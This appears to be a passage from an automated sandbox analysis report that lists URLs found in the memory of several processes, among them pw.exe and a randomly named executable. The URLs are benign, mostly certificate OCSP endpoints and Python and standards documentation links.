Source: pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1720120477.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: pw.exe, 0000000E.00000003.1689332595.0000000001BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/
Source: Video.UI.exe, 00000004.00000002.2637934055.0000026796E2E000.00000004.00000020.00020000.00000000.sdmp, Video.UI.exe, 00000004.00000002.2638076140.0000026796E42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema
Source: pw.exe, 0000000E.00000003.1700531805.0000000001C13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mail.python.org/pipermail/python-bugs-list/2001-January/003752.html
Source: pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es000000Z
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: vUlh7stUHJ.exe, 00000000.00000003.1416658749.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1410802583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1419252904.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1408354525.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: vUlh7stUHJ.exe, 00000000.00000003.1401945884.000001F676780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: pw.exe, 0000000E.00000003.1732870721.00000000022B7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728322434.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738371744.00000000022B9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729715901.00000000022B8000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1733488872.00000000022B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap04.html#tag_04_11
Source: Video.UI.exe, 00000004.00000003.1565238879.00000267AAC13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: pw.exe, 0000000E.00000003.1689332595.0000000001BF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html
Source: pw.exe, 0000000E.00000003.1695645040.0000000001D24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5234#appendix-B.1
Source: pw.exe, 0000000E.00000003.1738796691.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1739234363.0000000001CC2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738920967.0000000001D39000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745870570.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752954504.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: pw.exe, 0000000E.00000003.1697819388.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc7230#section-3.2)
Source: vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: vUlh7stUHJ.exe, 00000000.00000003.1424569670.000001F67677B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: pw.exe, 0000000E.00000003.1732870721.00000000022B7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728322434.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738371744.00000000022B9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729715901.00000000022B8000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1733488872.00000000022B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.archive.org/web/20200623061726/https://bitbucket.org/pitrou/pathlib/issues/12/
Source: pw.exe, 0000000E.00000003.1792758917.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1790233188.0000000001CD1000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1785968884.0000000001CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: pw.exe, 0000000E.00000003.1674430784.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674280207.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1672814546.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674664554.0000000001BD4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674574138.0000000001D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: pw.exe, 0000000E.00000003.1668847463.0000000001BF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm
Source: vUlh7stUHJ.exe, 00000000.00000003.1447226090.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428927374.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433907736.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1445672633.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424826286.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446698614.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1428725837.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1447147420.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1424464390.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1433340676.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446224890.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439115169.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1439782445.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1443226796.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1446993792.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1432433326.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1435276583.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1440568081.000001F67677B000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1430487556.000001F676774000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1431907945.000001F67677D000.00000004.00000020.00020000.00000000.sdmp, vUlh7stUHJ.exe, 00000000.00000003.1427362886.000001F676774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: pw.exe, 0000000E.00000003.1792578513.0000000002360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: pw.exe, 0000000E.00000003.1668847463.0000000001BF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html
Source: pw.exe, 0000000E.00000003.1770979143.0000000000F03000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729993425.0000000000F22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1718161592.0000000001D90000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1722017467.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1720120477.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749591995.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748684647.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001BF6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1748000091.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1716850297.0000000000F20000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1780050871.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1747881190.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1717870863.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1781413086.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1776093310.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773323552.0000000000F04000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1745870570.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1752954504.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730808548.0000000000F1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: pw.exe, 0000000E.00000003.1674219564.0000000001DB8000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1694214238.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684878959.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674430784.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1714619124.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674280207.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1673930767.0000000001C94000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1684513640.0000000000F23000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676420636.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1696418421.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674664554.0000000001BD4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1710507654.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676732984.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1687572898.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1675606820.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1676240776.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1698483183.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1675496502.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674574138.0000000001D8B000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1702157913.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: pw.exe, 0000000E.00000003.1674430784.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674280207.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1672814546.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674664554.0000000001BD4000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1674574138.0000000001D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: pw.exe, 0000000E.00000003.1733110109.0000000001D22000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1730279208.00000000020C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pkware.com/documents/casestudies/APPNOTE.TXT
Source: Video.UI.exe, 00000004.00000003.1435661410.00000267A3E13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: pw.exe, 0000000E.00000003.1779949968.0000000001DA3000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1750024027.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1764752883.0000000001DA6000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1749404924.0000000001D33000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773451992.0000000001DA7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1756565251.00000000023F7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1777378163.0000000001D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: pw.exe, 0000000E.00000003.1663993018.0000000000F24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1667119391.0000000000F29000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1665061868.0000000000F24000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1666302201.0000000000F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html
Source: olx.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: olx.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: olx.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: pw.exe, 0000000E.00000003.1770027736.0000000001BE7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1772486296.0000000001BF0000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1773146814.0000000001BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue20164
Source: pw.exe, 0000000E.00000003.1785453124.0000000002299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue25942
Source: pw.exe, 0000000E.00000003.1652694422.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue29585
Source: pw.exe, 0000000E.00000003.1689296257.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1691657763.0000000000F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue31672
Source: pw.exe, 0000000E.00000003.1732870721.00000000022B7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1728322434.0000000001DB7000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1738371744.00000000022B9000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1729715901.00000000022B8000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1733488872.00000000022B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue39682
Source: pw.exe, 0000000E.00000003.1674219564.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, pw.exe, 0000000E.00000003.1672814546.0000000001DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/msg352381
